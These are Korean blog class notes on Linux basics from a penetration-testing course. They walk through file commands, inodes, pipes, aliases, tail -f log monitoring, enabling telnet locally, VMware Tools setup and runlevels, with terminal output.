-rw-r--r-- 1 root root 354K  2월 23  2006 /etc/services


[root@linux205 /test]# gedit ~/.bashrc

alias ls='ls --color=tty -h' //마지막줄에 추가

[root@linux205 /test]# . ~/.bashrc

-t : time sort 최근시간부터
-r : reverse sort 가장 처음시간부터

ls -alt
ls -altr


mkdir

-p 옵션 없으면 만들고 있으면 냅두고??

[root@linux205 ~]# cd /test
[root@linux205 /test]# rm -rf /test/*
[root@linux205 /test]# mkdir dir4

[root@linux205 /test]# mkdir dir4/dir2/dir1
mkdir: `dir4/dir2/dir1' 디렉토리를 만들 수 없습니다: 그런 파일이나 디렉토리가 없음
[root@linux205 /test]# mkdir -p dir4/dir2/dir1

[root@linux205 /test]# ls -R
.:
dir4

./dir4:
dir2

./dir4/dir2:
dir1

./dir4/dir2/dir1:




rmdir 전혀 쓰이지 않는다 비어있지 않으면 삭제가 안돼

비어있지 않은 디렉토리를 삭제하려면??
# rm -rf dir1
-r : recursive
-f : force (강제삭제, 묻지않고)


파일관리 명령어
touch 터치 생성
cp copy 카피 복사
mv move 무브 이동
rm remove 리무브 삭제

touch 명령어에 -t 옵션을 사용해서 생성시간을 변경가능하다


파일의 일반적인 구조

file1 = Inode + Date Block

Inode : 인덱스노드, 파일의 속성정보, 데이터블록을 가리키는 정보, 고유번호가 할당 작은숫자부터
-i 옵션으로 확인할수 있어

Data Block : 4k 단위로

[root@linux205 /test]# touch file1
[root@linux205 /test]# ls -li file1
5330754 -rw-r--r-- 1 root root 0  4월 12 20:05 file1
[root@linux205 /test]# cp file1 file2
[root@linux205 /test]# ls -li file2
5330755 -rw-r--r-- 1 root root 0  4월 12 20:06 file2

아이노드번호가 다른걸 확인할수 있다


[root@linux205 /test]# mkdir dir1
[root@linux205 /test]# touch dir1/file1 dir1/file2
[root@linux205 /test]# ls -R
.:
dir1

./dir1:
file1  file2
[root@linux205 /test]# cp -r dir1 dir2
[root@linux205 /test]# ls -iR
.:
5330754 dir1  5330757 dir2

./dir1:
5330755 file1  5330756 file2

./dir2:
5330759 file1  5330758 file2






[root@linux205 /test]# mkdir dir1
[root@linux205 /test]# echo "linux200" > file1
[root@linux205 /test]# cat file1
linux200
[root@linux205 /test]# touch dir1/file1
[root@linux205 /test]# cat dir1/file1
[root@linux205 /test]# cp file1 dir1
cp: overwrite `dir1/file1'? y



[root@linux205 /test]# cp file1 file2
[root@linux205 /test]# ls -l
합계 12K
drwxr-xr-x 2 root root 4.0K  4월 12 20:10 dir1
-rwxrwxrwx 1 root root    9  4월 12 20:11 file1
-rwxr-xr-x 1 root root    9  4월 12 20:12 file2
[root@linux205 /test]# cp -p file1 file3
[root@linux205 /test]# ls -l
합계 16K
drwxr-xr-x 2 root root 4.0K  4월 12 20:10 dir1
-rwxrwxrwx 1 root root    9  4월 12 20:11 file1
-rwxr-xr-x 1 root root    9  4월 12 20:12 file2
-rwxrwxrwx 1 root root    9  4월 12 20:11 file3

-p 옵션을 사용하면 퍼미션정보를 그대로 카피하게 된다
-p 옵션을 적용하지않고 복사한 file2
-p 옵션을 적용하고 복사한 file3


[root@linux205 /test]# chmod 777 /test
[root@linux205 /test]# su - fedora
[fedora@linux205 ~]$ id
uid=500(fedora) gid=500(fedora) groups=500(fedora)
[fedora@linux205 ~]$ pwd
/home/fedora
[fedora@linux205 ~]$ cd /test
[fedora@linux205 test]$ cp file1 file4
[fedora@linux205 test]$ ls -l
합계 20
drwxr-xr-x 2 root   root   4096  4월 12 20:10 dir1
-rwxrwxrwx 1 root   root      9  4월 12 20:11 file1
-rwxr-xr-x 1 root   root      9  4월 12 20:12 file2
-rwxrwxrwx 1 root   root      9  4월 12 20:11 file3
-rwxrwxr-x 1 fedora fedora    9  4월 12 20:14 file4
[fedora@linux205 test]$ cp -p file1 file5
[fedora@linux205 test]$ ls -l
합계 24
drwxr-xr-x 2 root   root   4096  4월 12 20:10 dir1
-rwxrwxrwx 1 root   root      9  4월 12 20:11 file1
-rwxr-xr-x 1 root   root      9  4월 12 20:12 file2
-rwxrwxrwx 1 root   root      9  4월 12 20:11 file3
-rwxrwxr-x 1 fedora fedora    9  4월 12 20:14 file4
-rwxrwxrwx 1 fedora fedora    9  4월 12 20:11 file5



실무 > 로그파일(file.log) 비우기
# cp /dev/null file.log
# cat /dev/null > file.log
# > file.log

[root@linux205 /test]# cp -p /var/log/messages file.log
[root@linux205 /test]# cp -f /dev/null file.log
cp: overwrite `file.log'? y
[root@linux205 /test]# ls -l file.log
-rw------- 1 root root 0  4월 12 20:20 file.log

실무 > 설정 파일을 백업 받고 설정하는 경우
[root@linux205 ~]# cd /etc/httpd
[root@linux205 /etc/httpd]# ls
conf  conf.d  logs  modules  run
[root@linux205 /etc/httpd]# cd conf
[root@linux205 /etc/httpd/conf]# ls
httpd.conf  magic
[root@linux205 /etc/httpd/conf]# cp -p httpd.conf httpd.conf.old
[root@linux205 /etc/httpd/conf]# ci httpd.conf


OPTIONS
-i 선택 interactive
-f 강제로 덮어쓰기 force
-r 하위
-p(preserve) 퍼미션정보 동일하게
-a 위에 다 포함


mv 이름을 바꾼다고 생각하면 될듯

# mv file1 file2 /file1 파일 이름이 file2 로 변함
# mv file1 dir1 /dir1 디렉토리 안에 file1 이동
# mv dir1 dir2 /dir2 하위 경로에 dir1 이동

[root@linux205 /test]# touch file1
[root@linux205 /test]# mkdir dir1
[root@linux205 /test]# touch dir1/file2

[root@linux205 /test]# mv file1 file3
[root@linux205 /test]# tree
.
|-- dir1
|   `-- file2
`-- file3

1 directory, 2 files
[root@linux205 /test]# mv file3 dir1
[root@linux205 /test]# tree
.
`-- dir1
    |-- file2
    `-- file3

1 directory, 2 files
[root@linux205 /test]# mv dir1 dir2
[root@linux205 /test]# tree
.
`-- dir2
    |-- file2
    `-- file3

1 directory, 2 files
[root@linux205 /test]# cp -r dir2 dir1
[root@linux205 /test]# tree
.
|-- dir1
|   |-- file2
|   `-- file3
`-- dir2
    |-- file2
    `-- file3

2 directories, 4 files
[root@linux205 /test]# mv dir1 dir2
[root@linux205 /test]# tree
.
`-- dir2
    |-- dir1
    |   |-- file2
    |   `-- file3
    |-- file2
    `-- file3

2 directories, 4 files

Inode 확인하는방법
[root@linux205 /test]# touch file1
[root@linux205 /test]# ls -li file1
5330754 -rw-r--r-- 1 root root 0  4월 12 20:34 file1
[root@linux205 /test]# mv file1 file3
[root@linux205 /test]# ls -li file3
5330754 -rw-r--r-- 1 root root 0  4월 12 20:34 file3
[root@linux205 /test]# touch file1 file2 file4
[root@linux205 /test]# ls
file1  file2  file3  file4
[root@linux205 /test]# mkdir dir1
[root@linux205 /test]# mv file* dir1
[root@linux205 /test]# ls dir1
file1  file2  file3  file4

파일이 여러개 이동하는거 볼 수 있음
* 와일드카드 위의 예제에서는 1~4를 포함한다고 보면됨
file*=file1+file2+file3+file4


[참고] 비어 있지 않은 디렉토리 삭제
# rm -rf dir1

[참고] rm 명령어로 지운 파일 복구(100% 장담할 수 없음)
# debugfs /dev/sda3
debugfs 명령어에 관한 내용을 한번 찾아보자!!
파일 시스템 디버깅


cat = concatenate 파일 내용을 출력
# cat file1
# cat file1 file2
# cat -n file1 줄번호와 함께 출력

[root@linux205 /test]# echo 1111 > file1
[root@linux205 /test]# echo 2222 > file2
[root@linux205 /test]# cat file1 file2
1111
2222

[root@linux205 /test]# cat file1 file2 > file3
[root@linux205 /test]# cat file3
1111
2222

[root@linux205 /test]# cat -n /etc/passwd | grep --color fedora
    41  fedora:x:500:500:fedora:/home/fedora:/bin/bash


strings 명령어
바이너리 파일을 cat 명령어로 보는 경우에 파일이 깨져보인다

# cat /bin/ls 를 입력하면

   ÿÿÿÿ    ÿÿÿÿ                    Ò¤†°°×¤á¤    é¤ï¤ö¤ú¤                     &-6��DHNTW_\cis�a|b�d�D���h�i���nGq�rfs�w�ABsFip�H0�,�1I��8LDNLQ��WR��a��tT��|�������� � ���~����}����',�T-���������D�|�=��
x���oh�h́                                                            ��
a
 `��8�x���oh���o���o���o����o����oЉ���o\����� �D(��0�� @(ž DSž Lì@擠    ¦Œ ⎻␌‹  šŒ ÀŒ °à’ 0¿Œ ⎻ü 𱌠◆ PŒ P]˜ ÀŒŒ ›Œ      Â ◆–  %’  \˜ 0ñ’ Ðú °´Œ 𺐠‘ PÈ␉ à‘ À]‹ @‘ À‘ °ô @‘ €– ⎻!Œ  /Œ  ┼‘ À'£ Ð0’ 0+Œ ™  – Pö  _ À/Œ ðŒ  _˜ ◆ג ▒•  – ⎻+Œ ◆R— à>– ◆π 0┼‘ °‹Œ 0–– ⎻0’ Àà’ Ð‘  ‘ ð“ ð>£ ◆3£ õ‹  ;£ °ü  Œ   Àœ¤  Ý␉ Àג 0¾ 8£ ◆‘Œ  ≤˜   @ä␉ ◆����Ԍ����B�p��*��Ҍ``����Y��˓���)�����p���T���@�����p,����%+1 �ls.debug\��ELF��4i4(44�4�44�4���hUhU`P
                                                                               @d@@��HH�H�  P�td8;88LLQ�td
                                         4�4H�H !���oh�hd+
                                                                        ́�P3�  a;���o~  ê                H   þÿÿ⎺   ␤␤�W    8�8x`       ���
     i���dГ� o�����uxx{���8 �88;L���@��`�`�`�  ` �@@d��  e@�``e��g h0 �h,h�.shstrtab.interp.note.ABI-tag.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.text.fini.rodata.eh_frame_hdr.eh_frame.ctors.dtors.jcr.data.rel.ro.dynamic.got.got.plt.data.bss.gnu_debuglink.gnu.liblist.gnu.conflict.gnu.prelink_undo
         4�4H�H !���oh�hd+
                                        ́�P����o�      ��Љ�      \
   ;���o~  ê                H   þÿÿ⎺   ␤␤�W  8�8x`        ���
                                                                              i���dГ� o�����uxx{���8 �88;L���@�3hhU��`�`�`�  ` �@@d��  e@�``e��g h0 �h,hl�m[

??????????????? 뭐 이런식으로 나옴

# strings /bin/ls 를 입력하면

.shstrtab.interp.note.ABI-tag.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rel.dyn.rel.plt.init.text.fini.rodata.eh_frame_hdr.eh_frame.ctors.dtors.jcr.data.rel.ro.dynamic.got.got.plt.data.bss.gnu_debuglink.gnu.liblist.gnu.conflict.gnu.prelink_undo

이렇게만 나온다 문자열만 뽑아서

more 명령어 쓰면 한줄(enter)당 한페이지(space)당 보여주는거
너무 많은 페이지가 출력되면 1페이지 내용을 확인할수가 없음
그럴때 사용하면 좋다

more 보다 | more 을 더 많이 써라

1) # cat /etc/services | more
2) # more /etc/services

같은 출력을 보이지만 1) 을 더 많이 쓴다고 한다
more 뒤에는 파일이름만 지정가능하다 하지만
파이프를 이용하게 되면 앞의 출력값을 기반으로 할수있기 때문


| : 파이프 라고 한다
a | b : a 의 출력값을 b에 입력한다


[root@linux205 /test]# ps -ef | head -1 ; ps -ef | grep inetd
UID        PID  PPID  C STIME TTY          TIME CMD
root      3967     1  0 16:48 ?        00:00:00 xinetd -stayalive -pidfile /var/run/xinetd.pid
root     19379 19216  0 21:25 pts/1    00:00:00 grep inetd

같이 쓰려면 세미콜론 ;
alias 해서 쓰면 좋다

[root@linux205 /test]# alias pps='ps -ef | head -1 ; ps -ef | grep $1'
[root@linux205 /test]# alias pps
alias pps='ps -ef | head -1 ; ps -ef | grep $1'

이런식으로 지정한다 $1 은 첫번째 인자(Argument)를 뜻한다

예로는 아래와 같다

[root@linux205 /test]# pps syslogd
UID        PID  PPID  C STIME TTY          TIME CMD
root      3624     1  0 16:48 ?        00:00:00 syslogd -m 0
root     19384 19216  0 21:28 pts/1    00:00:00 grep syslogd
[root@linux205 /test]# pps bash
UID        PID  PPID  C STIME TTY          TIME CMD
root      4400  4365  0 16:49 ?        00:00:00 /usr/bin/ssh-agent /bin/sh -c exec -l /bin/bash -c "/usr/bin/dbus-launch --exit-with-session /etc/X11/xinit/Xclients"
root     19216 19210  0 20:16 pts/1    00:00:00 bash
root     19388 19216  0 21:29 pts/1    00:00:00 grep bash


[root@linux205 ~]# gedit ~/.bashrc
---------------------------------------------------------------------
# .bashrc

# User specific aliases and functions

alias rm='rm -i'
alias cp='cp -i'
alias mv='mv -i'

# Source global definitions
if [ -f /etc/bashrc ]; then
 . /etc/bashrc
fi

#
# Sfecific Configuration
#
export PS1='[\u@\h \w]\$ '
alias ls='ls --color=tty -h'
alias pps='ps -ef | head -1 ; ps -ef | grep $1' //이부분추가
---------------------------------------------------------------------
[root@linux205 ~]# . ~/.bashrc
[root@linux205 ~]# pps syslogd
UID        PID  PPID  C STIME TTY          TIME CMD
root      3624     1  0 16:48 ?        00:00:00 syslogd -m 0
root     19447 19419  0 21:35 pts/1    00:00:00 grep syslogd


tail 은 head 의 반대되는 개념

-f 파일의 크기가 변할때마다 추가된 정보를 출력한다


[참고] telnet 서비스 Open 방법(일반사용자)
[root@linux205 ~]# chkconfig --list
[root@linux205 ~]# chkconfig --list | grep krb5-telnet
        ekrb5-telnet:   해제
        krb5-telnet:    해제
[root@linux205 ~]# chkconfig krb5-telnet on
[root@linux205 ~]# chkconfig --list | grep krb5-telnet
        ekrb5-telnet:   해제
        krb5-telnet:    활성
[root@linux205 ~]# service xinetd restart
xinetd 를 정지 중:                                         [  OK  ]
xinetd (을)를 시작 중:                                     [  OK  ]

telnet localhost
fedora는 되는데 root는 추가적으로 작업해줘야 가능함

[root@linux205 ~]# tail -f /var/log/messages
Apr 12 21:56:17 linux205 xinetd[3967]: Exiting...
Apr 12 21:56:17 linux205 xinetd[19531]: xinetd Version 2.3.14 started with libwrap loadavg labeled-networking options compiled in.
Apr 12 21:56:17 linux205 xinetd[19531]: Started working: 1 available service
Apr 12 21:56:35 linux205 xinetd[19531]: START: telnet pid=19534 from=127.0.0.1
Apr 12 21:56:46 linux205 xinetd[19531]: EXIT: telnet status=1 pid=19534 duration=11(sec)
Apr 12 21:57:15 linux205 xinetd[19531]: START: telnet pid=19562 from=127.0.0.1
Apr 12 21:57:41 linux205 xinetd[19531]: EXIT: telnet status=1 pid=19562 duration=26(sec)
Apr 12 21:59:16 linux205 xinetd[19531]: START: telnet pid=19567 from=127.0.0.1
Apr 12 21:59:27 linux205 login: ROOT LOGIN pts/2 FROM linux205
Apr 12 21:59:32 linux205 xinetd[19531]: EXIT: telnet status=1 pid=19567 duration=16(sec)
Apr 12 22:02:35 linux205 xinetd[19531]: START: telnet pid=19667 from=127.0.0.1


Apr 12 22:03:16 linux205 xinetd[19531]: EXIT: telnet status=1 pid=19667 duration=41(sec)

다른 터미널 창을 열어서 user01 로 telnet localhost에 접속하고 접속을 종료할때의 로그
로그 분석할때 사용함 -f 옵션이다 변경사항을 볼수있기때문


서버를 실시간적으로 모니터링
[TERM1] # top (# gnome-system-monitor)

top - 22:05:49 up  5:18,  3 users,  load average: 0.03, 0.04, 0.00
Tasks: 156 total,   1 running, 154 sleeping,   0 stopped,   1 zombie
Cpu(s):  0.2%us,  0.1%sy,  0.0%ni, 99.7%id,  0.0%wa,  0.0%hi,  0.0%si,  0.0%st
Mem:   1035008k total,  1000844k used,    34164k free,    96224k buffers
Swap:  1052248k total,        0k used,  1052248k free,   730464k cached

  PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  COMMAND                            
19413 root      15   0 82140  13m 9900 S  0.7  1.4   0:04.53 gnome-terminal                     
19694 root      15   0  2336 1052  800 R  0.7  0.1   0:00.08 top                                
 4337 root      15   0 52280  11m 6864 S  0.3  1.1   1:33.77 Xorg                               
    1 root      15   0  2072  584  504 S  0.0  0.1   0:01.00 init                               
    2 root      RT  -5     0    0    0 S  0.0  0.0   0:07.47 migration/0                        
    3 root      34  19     0    0    0 S  0.0  0.0   0:00.00 ksoftirqd/0                        
    4 root      RT  -5     0    0    0 S  0.0  0.0   0:00.00 watchdog/0                         
    5 root      RT  -5     0    0    0 S  0.0  0.0   0:07.36 migration/1                        
    6 root      39  19     0    0    0 S  0.0  0.0   0:00.00 ksoftirqd/1                        
    7 root      RT  -5     0    0    0 S  0.0  0.0   0:00.00 watchdog/1                         
    8 root      RT  -5     0    0    0 S  0.0  0.0   0:08.40 migration/2                        
    9 root      34  19     0    0    0 S  0.0  0.0   0:00.14 ksoftirqd/2                        
   10 root      RT  -5     0    0    0 S  0.0  0.0   0:00.00 watchdog/2                         
   11 root      RT  -5     0    0    0 S  0.0  0.0   0:07.36 migration/3                        
   12 root      34  19     0    0    0 S  0.0  0.0   0:00.00 ksoftirqd/3                        
   13 root      RT  -5     0    0    0 S  0.0  0.0   0:00.00 watchdog/3                         
   14 root      10  -5     0    0    0 S  0.0  0.0   0:00.00 events/0                           
   15 root      10  -5     0    0    0 S  0.0  0.0   0:00.31 events/1                           
   16 root      10  -5     0    0    0 S  0.0  0.0   0:00.65 events/2                           
   17 root      10  -5     0    0    0 S  0.0  0.0   0:00.30 events/3                           
   18 root      16  -5     0    0    0 S  0.0  0.0   0:00.00 khelper                            
   19 root      10  -5     0    0    0 S  0.0  0.0   0:00.00 kthread

[root@linux205 ~]# gnome-system-monitor
그래픽 기반으로 리소스 사용량을 확인할수있음
시스템정보(프로세스, 자원, 파일시스템)


[TERM2] #tail -f /var/log/messages (# gnome-system-log)





'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글

20160419 리눅스 기초  (0) 2016.04.20
20160418 리눅스 기초  (0) 2016.04.19
20160415 리눅스 기초  (0) 2016.04.15
20160414 리눅스 기초  (0) 2016.04.15
20160411 리눅스 기초  (0) 2016.04.12
Posted by 22Hz
, |


VMware에 대한 설명


VMware Workstation 버전과 ESXi 버전으로 나누어져 있음


ESXi 버전의 경우 비용이 높은 대신 성능이 좋다 검증된 시스템에서 활용한다 즉, 서버용

하드웨어에 바로 ESXi를 올려서 VM(Virtual Machine)을 구동한다


Workstation 버전의 경우 비용이 낮은 대신 성능이 떨어진다 PC용

하드웨어에서 바로 VMware -> VM 으로 가는게 아니라 OS(Win7, 8, 10 등)를 거치기 때문에 상대적으로 성능이 떨어진다


가상화?

virtualization

가상화란 실제 존재하는 물리적인 자원을 추상화 하는 것을 말함

즉, 하나의 물리적 자원을 여러개의 논리적 자원으로 나누거나 합쳐서 사용하는 것을 가상화라고 한다

출처 - http://dorudoru.tistory.com/639


서버 가상화?

server virtualization

중앙 처리 장치(CPU), 기억 장치, 입출력 등 단일 플랫폼상의 서버 자원을 사용자가 여러 도메인이나 서버 애플리케이션으로 분할해 사용할 수 있는 기술. 물리적으로 1대의 시스템상에서 윈도즈나 리눅스 등 각기 다른 운영 체계(OS)의 다양한 서버 애플리케이션을 효율적으로 운영할 수 있어 비용 절감 및 서버 자원의 효율적인 활용이 가능하다.

출처 - [네이버 지식백과] 서버 가상화 [server virtualization, -假想化] (IT용어사전, 한국정보통신기술협회)


클러스터링?
일종의 이중화 개념이라고 생각 액티브/스탠바이 상태

저장 클러스터링?

SE Linux?
보안을 위해 한번 더 제어

GUI(그래픽 유저 인터페이스)
TUI(텍스트 유저 인터페이스)

kdump?
시스템클래시덤프=커널덤프, 오류가 발생하면 캡쳐해서 swap에 저장 why? 원인확인을 위해

리눅스명령어
pwd 현재 디렉토리 확인
ls 파일 확인
df -h 무슨명령어지?? 확인해야함
clear 화면지우기
which ??? <- 경로 확인
mkdir /디렉토리명 디렉토리 만들기
cd 체인지디렉토리
poweroff
reboot



single user = root user


실습내용


8.  VMWare Tools 설치
VMWare > VM > "Install VMWare Tools"

# df -h
# cd /me[TAB]/VM[TAB]
# pwd
# ls

# mkdir /test
# cp VM[TAB] /test

# cd /test
# ls

# tar xvzf VM[TAB]
# ls

# cd vmware[TAB]
# ls

# ./vmware-install.pl -default

[ CTL + ALT + <- ]


9.  기본적인 GUI 환경 사용
 화면 폰트 조정
 화면 해상도 조정
 터미널 사용
 아이콘 생성

# gedit
# which gedit
/usr/bin/gedit
 종류  :
 이름  : gedit
 명령어: /usr/bin/gedit
 설명  : gedit

# gnome-terminal
# which gnome-terminal
/usr/bin/gnome-terminal
 

10. 서버 종료

# poweroff
# shutdown -h now  /* -h: halt, -r: reboot*/
# init 0

# reboot
# shutdown -r now  /* -r: reboot */
# init 6

c:> shutdown /?
c:> shutdown /s /t 0
c:> shutdown /r /t 0





Linux Essential

(선수지식)

(ㄱ) runlevel
runlevel?
동작레벨, 동작수준. 시스템이 기동하는 상태?? 특정 상태??

runlevel 종류
 0 halt
 1 single user mode
 2 (TUI) multi-user mode without NFS
 3 (TUI) multi-user mode with NFS
 4 not defined
 5 (GUI) multi-user mode with NFS
 6 reboot

runlevel 확인 명령어
 # who -r (# runlevel)

runlevel 조정 명령어
 # halt (# poweroff, # reboot)
 # init 0 (# shutdown -i 0) 셧다운 명령어는 딜레이가 60초다

아스키코드 C = 영문 en_US,UTF-8



(ㄴ) 언어 확인 & 변경
 # echo $LANG (# locale)

 # export LANG=ko_KR,UTF-8
 # system-config-language

 # system-config-language //영구적인 방법1
 # vi /etc/sysconfig/i18n //파일을 열어서 수정 영구적인 방법2
 # reboot   //변경하고 나서는 재부팅 권장


(ㄷ) root 암호를 변경하는 경우
 # passwd fedora      //fedora 계정의 비밀번호를 변경 할 경우
 GRUB Menu를 사용하여 single user mode 전환하여 작업 //본인 암호 잊은 경우

(ㄹ) Control character
 < Ctrl + C >, < CTRL + D > //C : 종료, D : 현재쉘 종료, 파일의 끝


'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글

20160419 리눅스 기초  (0) 2016.04.20
20160418 리눅스 기초  (0) 2016.04.19
20160415 리눅스 기초  (0) 2016.04.15
20160414 리눅스 기초  (0) 2016.04.15
20160412 리눅스 기초  (0) 2016.04.13
Posted by 22Hz
, |

최근에 달린 댓글

최근에 받은 트랙백

글 보관함